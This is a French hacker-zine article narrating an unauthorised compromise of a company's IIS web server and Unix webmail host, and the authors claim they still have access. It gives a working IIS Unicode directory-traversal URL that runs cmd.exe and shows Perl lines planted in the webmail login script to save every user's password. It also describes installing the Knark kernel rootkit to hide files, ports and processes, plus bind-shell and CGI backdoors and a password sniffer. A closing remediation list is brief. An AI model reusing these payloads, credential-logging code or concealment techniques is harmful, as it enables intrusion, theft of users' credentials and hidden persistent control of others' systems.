Petite histoire de hack
ou "Les logs Apache c'est supeeer !!"
par OS4M4CKERS

Voici un hack assez spécial, ça commence par une simple faille unicode, et ça se termine par le contrôle de TOUT le réseau.

Je vous présente un peu la cible. D'abord, il y a le site www.victim.com : IIS 5.0 , Windows 2000
Y a aussi un serveur de webmail sur une autre machine mail.victim.com : (Unix, Apache 1.3.20, serveur telnet, ProFTP 1.2.2rc3, Sendmail 8.11.4)

Le site www.victim.com souffrait de la faille unicode, je fait un peu le tour de la machine, je trouve la liste des comptes mail, je vérifie si il n'y aurait pas une database de mail qui trainerait sur la machine:

http://www.victim.com/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+/S+c:\*.mdb

Je trouve quelques bases de données, je les télécharge, je constate que quelques pass sont du genre login2000 ou un truc du genre.
J'essaye de m'identifier avec un compte (celui de l'admin) que j'ai trouvé dans la liste des comptes, on supposera que le login était: "admin", j'essaye avec le pass: "admin2002"... Bingo
J'essaye avec telnet, en espérant que l'admin n'a pas changer le fichier /etc/passwd, car si le fichier ressemble à ça:

admin:x:100:100::/home/admin:/bin/false

on peut pas se connecter en telnet, car /bin/false n'est pas un shell, mais heureusement dans ce cas le shell était correct (bin/sh). Il ne restait plus qu'à avoir le pass du root.
Je peux utiliser un exploit mais c'est pas intéressant.
La machine en question fait aussi tourner un serveur web qui propose une interface web pour lire ses mails (un webmail).
On remarque aussi que cette interface possède une partie administrateur. En regardant comment ces scripts fonctionnent (des cgis) il doit être possible de trouver le pass admin pour la gestion des mails.
Je regarde un peu ce qu'il y a dans la machine, le propriétaire du répertoire /var/www/htdocs (qui était vide) est le root, je jette un coup d'oeil au contenu du répertoire /var/www/cgi-bin, je récupère tout les scripts, en j'étudie le contenu des scripts, je m'aperçois que l'admin pouvait créer, supprimer, modifier des comptes avec des scripts cgi (ces derniers appelaient un script expect, vous trouverez des détails dans le tuto sur le prog en expect), mais il devait d'abord remplir un formulaire (dern.cgi) dans lequel il devait fournir le pass du root, le pass était envoyé (posté) au même script. Voici quelques extraits du fichier dern.cgi :

------------------------------------
$user=$form{
'usnamea'};
$pasuser=$form{'uspas'};
-----------
print "<p align=\"left\"><nobr><b><a style=\"color: #ffffff\" href=\"/cgi-bin/ajout.cgi?pasman=$pasuser\"> Ajout d'un utilisateur </a></b></nobr></p>";
------------------------------------

Vous aurez compris que le pass du root est désigné par la variable $pasuser, donc on trouvera aisément le pass du root en cherchant dans les logs de Apache (si l'admin ne les a pas retiré) :

[admin@mail /logs]$ cat access_log | grep pasman
xxx.xxx.xxx.xxx - - [04/Aug/2002:10:52:56 +0100] "GET /cgi-bin/ajout.cgi?pasman=admin2003victim HTTP/1.1" 200 1344
xxx.xxx.xxx.xxx - - [04/Aug/2002:10:53:40 +0100] "GET /cgi-bin/ajout.cgi?pasman=admin2003victim HTTP/1.1" 200 1344
xxx.xxx.xxx.xxx - - [04/Aug/2002:10:53:57 +0100] "GET /cgi-bin/ajout.cgi?pasman=admin2003victim HTTP/1.1" 200 1344
xxx.xxx.xxx.xxx - - [04/Aug/2002:10:54:39 +0100] "GET /cgi-bin/ajout.cgi?pasman=admin2003victim HTTP/1.1" 200 1344

Et voilà... on a le pass du root (qui n'est pas très original).
Promis la prochaine fois on devine le pass tout seul comme des grands ;-)

Maintenant, je veux avoir les pass de tous ceux qui s'identifient sur le serveur, deux choix se présentent à moi, soit je met un sniffer POP, soit je modifie le script cgi pour que celui-ci enregistre tout les pass qu'il recoit dans un fichier.

La première solution est assez facile à mettre en place...
Pour la deuxième solution voilà ce que j'insère dans le script d'authentification:

----------------------------------------
open(sbfile,">> /tmp/.sblog");
print sbfile "$dS - $pass\n";
close(sbfile);
----------------------------------------

$dS désigne le login et $pass le pass ;)

De cette manière on avait une bonne quantité de pass Unix (à cause du fonctionnement des scripts cgis utilisés, les login/pass du webmail sont les même que les accounts Unix).

Ce qu'on a fait ensuite c'est installer une rootkit. On a tourné notre choix vers Knark qui est une kernel rootkit pour les noyaux Linux 2.2. Quelques fonctionnalités pour vous montrer à quel point c'est puissant :
D'abord il faut générer le module (make) puis l'insérer dans le mémoire (insmod knark).
Knark est composé d'un ensemble de commandes qui dialoguent avec le module Knark.
Il y a la commande hidef qui permet de cacher des fichiers et des répertoires quand quelqu'un fait un ls ou un du (on a commencé par cacher le rep de knark).
La commande nethide permet de retirer certaines lignes quand quelqu'un tape netstat. Par exemple nethide ":9876" permet de cacher que le port 9876 est ouvert.
La commande rootme permet de lancer une commande avec les droits root. Pour reprendre l'accès root on peut donc tapper rootme /bin/sh.
Un dernier truc que j'adore c'est la possibilité de cacher des processus aux commandes ps et top simplement en envoyant un signal 31.

On a installé plusieurs backdoors. Déjà une backdoor qui écoute sur un port, demande un pass et bind un shell si le pass est correct.
Une fois le prog lancé on a fait nethide ":29369" et kill -31 ovas0n (le nom de la backdoor) pour cacher la backdoor.

Une backdoor cgi a été installée puis cachée (hidef /var/www/cgi-bin/gH-cgi.cgi).

Histoire d'achever le rézo on a mis un sniffer (eth0sniff) qui récupère les login/pass FTP et POP3.

Voilà, après ça j'ai récupéré les pass des admins (il y en avait beaucoup, on se demande ce qu'ils faisaient...
......... en fait je préfère pas le savoir ),
en lisant leur mails j'ai récupéré beaucoup d'infos comme les pass des routeurs. Les routeurs en question étaient des Access Server, les mêmes routeurs que les ISP (pour les connexions RTC).

Et pour rigoler voici les ports ouverts dans inetd :

time stream tcp nowait root internal
time dgram udp wait root internal
ftp stream tcp nowait root /usr/sbin/tcpd proftpd
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
comsat dgram udp wait root /usr/sbin/tcpd in.comsat
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
login stream tcp nowait root /usr/sbin/tcpd in.rlogind
ntalk dgram udp wait root /usr/sbin/tcpd in.talkd
pop3 stream tcp nowait root /usr/sbin/tcpd ipop3d
finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -u (hé !! On vient de trouver le dernier admin qui fait tourner finger :)
auth stream tcp wait nobody /usr/sbin/in.identd in.identd -P/dev/null
netbios-ssn stream tcp nowait root /usr/sbin/smbd smbd
netbios-ns dgram udp wait root /usr/sbin/nmbd nmbd

Remèdes :
°°°°°°°°°
-D'abord virer l'admin ;)
-Comme je l'ai dis précédemment, il aurait fallu changer le fichier /etc/passwd, pour que personnes ne puisse se connecter sur les serveurs telnet et FTP.
-Un serveur FTP n'est pas vraiment nécessaire, vu que le site ne nécessite pas de MAJ et en plus un serveur telnet est déjà présent.
-J'ai pas cherché de failles pour le serveur FTP, SMTP, HTTP ou le kernel, mais une update ne serait pas un luxe.
-Question sécurité, je ne crois pas que utiliser des scripts pour ajouter des comptes, soit une bonne idée.

-Il faudrait que les logs soient moins parlant ou limiter leur accès seulement aux admins

La suite dans le prochain numéro... (peut-être)

P.S: Ce hack a été co-réalisé par sirius_black et moi. Pour des raisons que vous pouvez comprendre (on a toujours accès à la bécane) le nom de la victime n'a pas été révélé.